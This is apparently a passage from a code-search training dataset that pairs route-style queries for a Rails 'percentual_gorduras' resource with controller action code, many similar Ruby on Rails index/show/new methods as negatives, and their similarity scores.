=> @cooperativas }\n end\n end", "def index\n @palestrantes = Palestrante.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @palestrantes }\n end\n end", "def index\n @prueba_jsons = PruebaJson.all\n end", "def index\n @gifs = Gif.sorted.paginate(page: params[:page], per_page: 12)\n\n respond_to do |format|\n format.html\n format.json { render json: @gifs }\n end\n end", "def list_pengaduan_proses\n pengaduan = Pengaduan.all.where(status: 'proses').where(user_id: @user.id).order(created_at: :desc)\n render json: {status: true, total: pengaduan.count, data: pengaduan}\n end", "def index\n @familia = Familium.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @familia }\n end\n end", "def show\n @participation = Participation.find(params[:id])\n @volunteer = @participation.volunteer\n\n @offline_perc = @participation.offline_donation_percent\n @online_perc = @participation.donation_percent\n @donation = Donation.new\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @participation }\n end\n end", "def get_grasas\n @_100=((@grasas*100)/@peso)\n @ir_100=(@_100/70)*100\n @porcion=((@grasas*@gramos_porciones)/@peso)\n @ir_porcion=(@porcion/70)*100\n [ @grasas , @_100 , @ir_100.round(1) , @porcion , @ir_porcion.round(1) ]\n end", "def index\n @finalidad_cultivos = FinalidadCultivo.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @finalidad_cultivos }\n end\n end", "def index\n @ginasios = Ginasio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @ginasios }\n end\n end", "def index\n @charges = Charge.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @charges }\n end\n end", "def index\n @vehicule_persos = VehiculePerso.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @vehicule_persos }\n end\n end", "def index\n @pugs = Pug.all\n\n render json: @pugs\n end", "def show\n # calculate bill payment information\n @payment_sum = 0\n @bill.bill_payments.each do |payment|\n @payment_sum += payment.amount\n end\n @percentage = (@payment_sum/@bill.amount)*100.to_int\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bill }\n end\n end", "def serv_json\n \"http://api.dribbble.com/shots/popular?page=1\"\n end", "def index\n @profesor_grados = ProfesorGrado.all\n end", "def index\n @garnishes = Garnish.where(\"LOWER(name) like ?\", \"%#{params[:q] ? params[:q].downcase : ''}%\").paginate(:page => params[:page], :per_page => 198).order(:name)\n respond_to do |format|\n format.html\n format.json {render :json => @garnishes.map(&:attributes)}\n end\n end", "def index_by_user\n @gifts = @current_user.gifts\n render json: @gifts, include: :ages, status: :ok\n end", "def index\n @cliente = Cliente.find(params[:cliente_id])\n @pagos = @cliente.pagos\n @imp_debe = 0\n @imp_haber = 0\n @pagos.each do |f| \n @imp_debe += f.pg_debe.to_f\n @imp_haber += f.pg_haber.to_f\n end\n @total = @imp_debe - @imp_haber\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: [@pagos, @imp_debe, @imp_haber, @total] }\n end\n end", "def index\n @ugroupes = Ugroupe.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ugroupes }\n end\n end", "def destroy\n @percentual_gordura.destroy\n respond_to do |format|\n format.html { redirect_to percentual_gorduras_url }\n format.json { head :no_content }\n end\n end", "def calculate_percentage_completion\n result = {}\n result[:pc] = ideal_completion[:pc]\n if %w(green amber).include?(status)\n result[:pve] = ideal_completion[:pve]\n # elsif status == \"red\"\n # result[:pve] = 20\n end\n result[:pdl] = ideal_completion[:pdl] if !documents.empty? || !personal_links.empty?\n return result\n end", "def index\n @ventas_presupuestos = Ventas::Presupuesto.paginate(:page => params[:page], :per_page => 5)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ventas_presupuestos }\n end\n end", "def index\n @payments = @payments.order(\"date DESC\")\n @graph = { :members => chart(\"members\"), \n :total => chart(\"total\"), \n :basic => chart(\"basic\"), \n :associate => chart(\"associate\")}\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @payments }\n end\n end", "def index\n @contributions = Contribution.where(text:\"\").order(points: :desc)\n respond_to do |format|\n format.json { render json: @contributions}\n end\n end", "def index\n @periodo_para_ingresars = PeriodoParaIngresar.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @periodo_para_ingresars }\n end\n end", "def index\n @goal_rewards = user.goal_rewards\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @goal_rewards }\n end\n end", "def index\n @notadedebito = Notadedebito.find(params[:notadecredito_id])\n @renglon_notadebitos = @notadedebito.renglon_notadebitos\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @renglon_notadebitos }\n end\n end", "def index\n @blood_pressures = BloodPressure.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @blood_pressures }\n end\n end", "def index\n @generations = Generation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @generations }\n end\n end", "def index\n @notadedebito = Notadedebito.find(params[:notadedebito_id])\n @renglon_nddndcs = @notadedebito.renglon_nddndcs\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @renglon_nddndcs }\n end\n end", "def index\n @pricings = Pricing.all\n\n render json: @pricings\n end", "def show\n @partecipanti_gruppo = PartecipantiGruppo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @partecipanti_gruppo }\n end\n end", "def index\n @antecedentes = Antecedente.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @antecedentes }\n end\n end", "def index\n @participante_videoconferencia = ParticipanteVideoconferencium.all\n render json: @participante_videoconferencia\n end", "def index\n session[:admin] = true\n @badges = Badge.order('approved_at desc,id')\n @fri_count = Badge.select { |b| b.friday? }.size\n @sat_count = Badge.select { |b| b.saturday? }.size\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @badges }\n end\n end", "def index\n @perfiles_transacciones = PerfilTransaccion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @perfiles_transacciones }\n end\n end", "def index\n @frais_hebergements = FraisHebergement.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @frais_hebergements }\n end\n end", "def show\n @preguntum = Preguntum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @preguntum }\n end\n end", "def index\n @garrages = Garrage.all\n end", "def pagarFactura(factura)\n sist = Sistema.new;\n proveedor = Grupo.find_by(idGrupo: factura[0][\"proveedor\"])[\"idBanco\"]\n response = JSON.parse(sist.transferir(factura[0][\"total\"],sist.idBanco,proveedor))\n return response\n end", "def index\n @pacientes = Pacientes.all\n render json: @pacientes\n end", "def index\n @relaciones_articulos_medida = RelacionArticuloMedida.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @relaciones_articulos_medida }\n end\n end", "def index\n @clues = Clue.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @clues }\n end\n end", "def index\n @announces = Announce.not_finished.order(\"stime DESC\")\n\t\t@pannounces = Announce.finished.last_24_hours.limit(20).order(\"etime DESC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @announces }\n end\n end", "def index\n @civilizations = Civilization.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @civilizations }\n end\n end", "def show\n @fraction = Fraction.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fraction }\n end\n end", "def index\n @competencies = Competency.all\n respond_to do |format|\n format.json { render json: @competencies }\n end\n end", "def index\n @comprobantes = Comprobante.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @comprobantes }\n end\n end", "def get_ponto\n render json: Usuario.ultimo_ponto(params[:user_id], params[:evento_id]).to_json\n end", "def index\n @puntajes = Puntaje.order('created_at DESC').all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @puntajes }\n end\n end", "def index\n\t\texecutar_acoes\n\t\t@pontos = PontoInteresse.all.order(\"enable DESC, denuncias_count DESC, created_at DESC\").page(params[:page])\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.json { render json: @pontos }\n\t\tend\n\tend", "def index\n @gpsds = Gpsd.all\n #respond_to do |format|\n # format.json { render }\n #end\n end", "def full_level_progression_response\n return api_response(\"level-progression\")\n end", "def index\n @colegios = Colegio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @colegios }\n end\n end", "def show\n @ultimo_grado_de_estudio = UltimoGradoDeEstudio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ultimo_grado_de_estudio }\n end\n end", "def index\n @frais_repas = FraisRepa.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @frais_repas }\n end\n end", "def index\n @ores = Ore.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ores }\n end\n end", "def index\n @circle = current_user.circle\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @circle }\n end\n end", "def index\n @genotypes = Genotype.paginate(:page => params[:page], :per_page => 10)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @genotypes }\n end\n end", "def get_individual_bono_percentage\n @goles / (@nivel.goles_mes.to_f / 100)\n end", "def index\n @curriculum_vitaes = findable_curriculum_vitaes.all\n respond_to do |format|\n format.html {}\n format.json { render json: @curriculum_vitaes }\n end\n end", "def index\n @mencions = Mencion.order(\"escuela_id\").paginate(:page => params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @mencions }\n end\n end", "def show\n @competency_pertenece_asignatura = CompetencyPerteneceAsignatura.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @competency_pertenece_asignatura }\n end\n end", "def percent_progress\n data[:percent_progress]\n end", "def percent_progress\n data[:percent_progress]\n end", "def index\n @unidade_medidas = UnidadeMedida.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @unidade_medidas }\n end\n end", "def index\n @german_go_leagues = GermanGoLeague.all\n\t\t@title = \"Bundesliga Spiele\"\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @german_go_leagues }\n end\n end", "def progress\n @goal = Goal.find(params[:id])\n\n respond_to do |format|\n format.html # progress.html.erb\n format.json { render json: @goal }\n end\n\n private\n\n # Use this method to whitelist the permissible parameters. Example:\n # params.require(:person).permit(:name, :age)\n # Also, you can specialize this method with per-user checking of permissible attributes.\n def permitted_params\n params.require(:goal).permit(:date, :description, :name, :priority, :status)\n end\n \n def allowed_params\n [:date, :description, :name, :priority, :status]\n end\nend", "def index\n @rameurs = Rameur.where(confirmation_token: nil).asc(\"prenom\").asc(\"nom\").paginate(page: params[:page], per_page: 5)\n\n respond_to do |format|\n format.html { @rameurs }\n format.json {\n render json: {\n current_page: @rameurs.current_page,\n per_page: @rameurs.per_page,\n total_entries: @rameurs.total_entries,\n entries: @rameurs\n }\n }\n end\n end", "def info_premium\n render json: { value: (PropertyBuyer::PREMIUM_COST*100) }, status: 200\n end", "def index\n @assignment_special_assignment_frequencies = Assignment::SpecialAssignmentFrequency.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @assignment_special_assignment_frequencies }\n end\n end", "def ppg_status\n params[:page] ||= 1\n\n default_ppg_status_code = \"1\"\n @ppg_status_code = params[:ppg_status_code] || default_ppg_status_code\n\n result = PpgStatusHistory.current_ppg_status.with_status(@ppg_status_code).select(\"distinct ppg_status_histories.*, people.last_name\").joins(\n \"inner join participant_person_links on participant_person_links.participant_id = ppg_status_histories.participant_id\n inner join people on people.id = participant_person_links.person_id\"\n ).where(\"participant_person_links.relationship_code = '1'\").order(\"people.last_name\")\n @ppg_statuses = result.paginate(:page => params[:page], :per_page => 20)\n\n respond_to do |format|\n format.html # index.html.haml\n format.json { render :json => result.all }\n end\n end", "def index\n @reward_and_levels = RewardAndLevel.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reward_and_levels }\n end\n end", "def index\n @undergraduate_majors = UndergraduateMajor.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @undergraduate_majors }\n end\n end", "def index\n @horas_disponibles = HorasDisponible.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @horas_disponibles }\n end\n end", "def index\n @parliaments = Parliament.sorted_start_year\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @parliaments }\n end\n end" ]
[ "0.62293714", "0.6123777", "0.6120381", "0.6110766", "0.6083583", "0.60833114", "0.60608304", "0.5996981", "0.59409225", "0.5912513", "0.5906495", "0.5892862", "0.5881434", "0.58792657", "0.58535", "0.5851153", "0.583435", "0.5825544", "0.5820827", "0.5817334", "0.58156675", "0.5813775", "0.5791657", "0.5786342", "0.5776314", "0.5753928", "0.5741593", "0.57337344", "0.57321805", "0.57188576", "0.57154924", "0.5698016", "0.5696772", "0.5688443", "0.56859523", "0.56823564", "0.5678885", "0.5678317", "0.56781596", "0.56678057", "0.5650334", "0.5649359", "0.56421447", "0.56409", "0.56383246", "0.56373394", "0.5628393", "0.5627381", "0.56262964", "0.560885", "0.55976427", "0.5597476", "0.5591967", "0.55908245", "0.55889904", "0.55813545", "0.5579221", "0.55790293", "0.5567592", "0.5564383", "0.55628103", "0.5550421", "0.5549184", "0.5545931", "0.5528986", "0.5526934", "0.55178726", "0.551726", "0.55152607", "0.55137616", "0.55129725", "0.5512221", "0.55077237", "0.55068076", "0.55043805", "0.55011076", "0.5499936", "0.54988885", "0.54983056", "0.54920095", "0.5489868", "0.5489764", "0.54895943", "0.5488551", "0.5487228", "0.5485288", "0.5485021", "0.5477999", "0.5477999", "0.54773045", "0.5472611", "0.54716426", "0.5470729", "0.5465797", "0.5465698", "0.5464697", "0.54612595", "0.5459824", "0.545835", "0.5457411" ]
0.72092944
0
GET /percentual_gorduras/1 GET /percentual_gorduras/1.json GET /percentual_gorduras/new
def new @percentual_gordura = PercentualGordura.new end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @percentual_gordura = PercentualGordura.new(percentual_gordura_params)\n\n respond_to do |format|\n if @percentual_gordura.save\n format.html { redirect_to @percentual_gordura, notice: 'Percentual gordura was successfully created.' }\n format.json { render action: 'show', status: :created, location: @percentual_gordura }\n else\n format.html { render action: 'new' }\n format.json { render json: @percentual_gordura.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @preguntum = Preguntum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @preguntum }\n end\n end", "def new\n @gpath = Gpath.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gpath }\n end\n end", "def new\n @tipo_pensum = TipoPensum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tipo_pensum }\n end\n end", "def new\n @prob = Prob.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @prob }\n end\n end", "def new\n @generation = Generation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @generation }\n end\n end", "def new\n @pagamento = Pagamento.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pagamento }\n end\n end", "def new\n @produccion = Produccion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @produccion }\n end\n end", "def new\n @partecipanti_gruppo = PartecipantiGruppo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @partecipanti_gruppo }\n end\n end", "def new\n @produccion = Produccion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @produccion }\n end\n end", "def new\n @competency_pertenece_asignatura = CompetencyPerteneceAsignatura.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @competency_pertenece_asignatura }\n end\n end", "def new\n @requerimiento = Requerimiento.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @requerimiento }\n end\n end", "def new\n @puntaje = Puntaje.new\n atributos\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @puntaje }\n end\n end", "def new\n @puntaje = Puntaje.new\n atributos\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @puntaje }\n end\n end", "def new\n @peso = Peso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @peso }\n end\n end", "def new\n @propuesta = Propuesta.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @propuesta }\n end\n end", "def new\n @partecipante = Partecipante.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @partecipante }\n end\n end", "def new\n @recurso = Recurso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @recurso }\n end\n end", "def new\n @tipo_convenio = TipoConvenio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tipo_convenio }\n end\n end", "def new\n @colegiatura = Colegiatura.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @colegiatura }\n end\n end", "def new\n @statuspagamento = Statuspagamentoe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @statuspagamento }\n end\n end", "def new\n @respuesta = Respuesta.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @respuesta }\n end\n end", "def new\n @sezione = Sezione.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sezione }\n end\n end", "def new\n @prioridade = Prioridade.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @prioridade }\n end\n end", "def new\n @genu = Genu.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @genu }\n end\n end", "def new\n @ultimo_grado_de_estudio = UltimoGradoDeEstudio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ultimo_grado_de_estudio }\n end\n end", "def new\n @perfilnegocio = Perfilnegocio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @perfilnegocio }\n end\n end", "def new\n @prestacion = Prestacion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @prestacion }\n end\n end", "def new\n @gasto = Gasto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gasto }\n end\n end", "def new\n @seguidore = Seguidore.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @seguidore }\n end\n end", "def new\n @suplente = Suplente.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @suplente }\n end\n end", "def new\n @profesor_pertenece_asignatura = ProfesorPerteneceAsignatura.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @profesor_pertenece_asignatura }\n end\n end", "def new\n @grm_grappt = GrmGrappt.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @grm_grappt }\n end\n end", "def new\n @agronomiaquimica = Agronomiaquimica.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @agronomiaquimica }\n end\n end", "def new\n @pagenate = Pagenate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pagenate }\n end\n end", "def new\n @portion = Portion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @portion }\n end\n end", "def new\n @seguro = Seguro.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @seguro }\n end\n end", "def new\n @repuestum = Repuestum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @repuestum }\n end\n end", "def new\n @projeto = Projeto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @projeto }\n end\n end", "def new\n @clue = Clue.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @clue }\n end\n end", "def new\n @clue = Clue.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @clue }\n end\n end", "def new\n @title = t('admin.promotions.new.title')\n @promotion = Promotion.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @promotion }\n end\n end", "def new\n @denuncia_tipo = DenunciaTipo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @denuncia_tipo }\n end\n end", "def new\n @reconocimiento = Reconocimiento.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @reconocimiento }\n end\n end", "def new\n @guille = Guille.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @guille }\n end\n end", "def new\n @galeria = Galeria.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @galeria }\n end\n end", "def new\n @gauge = Gauge.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gauge }\n end\n end", "def new\n @prestador = Prestador.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @prestador }\n end\n end", "def new\n @clasificacion_pegi = ClasificacionPegi.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @clasificacion_pegi }\n end\n end", "def new\n @good = Good.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @good }\n end\n end", "def new\n @sugerencia = Sugerencia.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @sugerencia }\n end\n end", "def new\n @presenza = Presenza.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @presenza }\n end\n end", "def new\n @contribution = Contribution.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contribution }\n end\n end", "def new\n @tipo_negocio = TipoNegocio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tipo_negocio }\n end\n end", "def new\n @historial = Historial.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @historial }\n end\n end", "def new\n @prepagada = Prepagada.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @prepagada }\n end\n end", "def new\n @precinct = Precinct.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @precinct }\n end\n end", "def new\n @grupa = Grupa.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @grupa }\n end\n end", "def new\n @promotion = Promotion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @promotion }\n end\n end", "def new\n @promotion = Promotion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @promotion }\n end\n end", "def new\n @asignatura = Asignatura.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @asignatura }\n end\n end", "def new\n @goal = Goal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @goal }\n end\n end", "def new\n @goal = Goal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @goal }\n end\n end", "def new\n @goal = Goal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @goal }\n end\n end", "def new\n @vocacionada = Vocacionada.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @vocacionada }\n end\n end", "def new\n @concour = Concour.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @concour }\n end\n end", "def new\n @comprobante = Comprobante.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @comprobante }\n end\n end", "def new\n @produto = Produto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @produto }\n end\n end", "def new\n @mouvement_recurrent = MouvementRecurrent.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mouvement_recurrent }\n end\n end", "def new\n @needed_good = NeededGood.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @needed_good }\n end\n end", "def new\n @repa = Repa.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @repa }\n end\n end", "def new\n @badge = Badge.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @badge }\n end\n end", "def new\n @pedido = Pedido.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pedido }\n end\n end", "def new\n @gopy = Gopy.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gopy }\n end\n end", "def new\n @veiculo = Veiculo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @veiculo }\n end\n end", "def new\n @publicidad = Publicidad.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @publicidad }\n end\n end", "def new\n @premio = Premio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @premio }\n end\n end", "def new\n @discount = Discount.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @discount }\n end\n end", "def new\n @discount = Discount.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @discount }\n end\n end", "def new\n @reparacion = Reparacion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reparacion }\n end\n end", "def new\n @finalidad_cultivo = FinalidadCultivo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @finalidad_cultivo }\n end\n end", "def new\n @v_goal = VGoal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @v_goal }\n end\n end", "def new\r\n @promotion = Promotion.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @promotion }\r\n end\r\n end", "def new\n @coligacao_partido = ColigacaoPartido.new\n @partidos = Partido.find(:all, :order => \"nome\")\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @coligacao_partido }\n end\n end", "def new\n @asociado = Asociado.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @asociado }\n end\n end", "def new\n @genotype = Genotype.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @genotype }\n end\n end", "def new\n @proef = Proef.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @proef }\n end\n end", "def new\n @retroalimentacion = Retroalimentacion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @retroalimentacion }\n end\n end", "def new\n @capacidad = Capacidad.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @capacidad }\n end\n end", "def new\n @pledge = Pledge.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pledge }\n end\n end", "def new\n @pledge = Pledge.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pledge }\n end\n end", "def new\n @ventas_presupuesto = Ventas::Presupuesto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ventas_presupuesto }\n end\n end", "def new\n @badge = Badge.new\n \n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @badge }\n end\n end", "def new\n @horario = Horario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @horario }\n end\n end", "def new\n @profesore = Profesore.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @profesore }\n end\n end", "def new\n @livro = Livro.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @livro }\n end\n end", "def new\n @grade = Grade.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @grade }\n end\n end", "def new\n @indicativo = Indicativo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @indicativo }\n end\n end", "def new\n @newspage = Newspage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @newspage }\n end\n end", "def new\n @distro = Distro.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @distro }\n end\n end" ]
[ "0.73144186", "0.718344", "0.7113081", "0.70378065", "0.70282924", "0.6991537", "0.69895655", "0.69735026", "0.6972975", "0.6971929", "0.69666976", "0.69528383", "0.6947008", "0.6947008", "0.69383025", "0.6930364", "0.69276536", "0.6905504", "0.6898198", "0.6888249", "0.6877746", "0.6876252", "0.68605983", "0.6843846", "0.6841044", "0.6835035", "0.68309635", "0.6809668", "0.68095016", "0.68026435", "0.6801153", "0.6799604", "0.6792528", "0.67916095", "0.67865294", "0.6785539", "0.6782691", "0.6782083", "0.677531", "0.67734796", "0.67734796", "0.6770306", "0.6770299", "0.67654103", "0.67635536", "0.6761994", "0.67604595", "0.6754758", "0.6750623", "0.6749009", "0.67484146", "0.6739243", "0.6729413", "0.6728722", "0.672747", "0.6727327", "0.6725523", "0.6722966", "0.6722467", "0.6722467", "0.6720607", "0.6715979", "0.6715979", "0.6715979", "0.67149484", "0.6714313", "0.6713187", "0.67126846", "0.67090714", "0.6706716", "0.67030287", "0.6696712", "0.6695635", "0.6690596", "0.6685035", "0.6678258", "0.6675218", "0.66739935", "0.66739935", "0.66736245", "0.66732925", "0.6672824", "0.6672816", "0.66693765", "0.66677433", "0.66631037", "0.6661424", "0.6661379", "0.66589206", "0.6657641", "0.6657641", "0.665605", "0.6653691", "0.6652426", "0.66516745", "0.6648202", "0.6646346", "0.6641351", "0.66381186", "0.66377157" ]
0.73092353
1
POST /percentual_gorduras POST /percentual_gorduras.json
def create @percentual_gordura = PercentualGordura.new(percentual_gordura_params) respond_to do |format| if @percentual_gordura.save format.html { redirect_to @percentual_gordura, notice: 'Percentual gordura was successfully created.' } format.json { render action: 'show', status: :created, location: @percentual_gordura } else format.html { render action: 'new' } format.json { render json: @percentual_gordura.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
